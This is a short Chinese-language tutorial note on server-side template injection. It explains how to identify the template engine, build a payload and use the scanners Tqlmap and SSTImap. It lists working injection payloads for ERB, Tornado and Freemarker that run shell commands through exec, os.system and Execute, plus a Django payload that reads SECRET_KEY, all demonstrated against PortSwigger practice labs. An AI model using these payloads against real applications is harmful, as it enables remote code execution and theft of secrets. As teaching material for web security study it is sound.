Web攻防-SSTI服务端模版注入利用分类语言引擎数据渲染项目工具挖掘思路
知识点:
1、WEB攻防-SSTI-利用分类&功能点
2、WEB攻防-SSTI-利用项目&挖掘思路
SSTI(Server Side Template Injection)
服务器模板注入, 服务端接收了用户的输入,将其作为 Web
应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。
参考:https://www.cnblogs.com/R3col/p/12746485.html
演示案例-WEB攻防-SSTI-利用分类&语言引擎&工具项目
1、SSTI利用思路
1、确定模板引擎
先判断目标使用什么语言,在对比图片确定大致范围。
使用wappalyzer插件来辅助识别
白盒看pom.xml调用的模板引擎
2、构造payload的思路
寻找可用对象(比如字符串、字典,或者已给出的对象)
通过可用对象寻找原生对象(object)
利用原生对象实例化目标对象(比如os)
执行代码
3、如果手工有困难,可用使用Tqlmap或SSTImap代替
2、黑盒-SSTI测试
靶场地址:https://portswigger.net/web-security/all-labs#server-side-template-injection
ERB模板
<%= exec 'ls -al' %>
Tornado模板
blog-post-author-display=user.name}}{{7*7}}
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')
Freemarker模板
<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}
Django模板
{{settings.SECRET_KEY}} //获取key
3、白盒挖掘
https://forum.butian.net/share/1229
4、工具项目-SSTImap
https://github.com/vladko312/SSTImap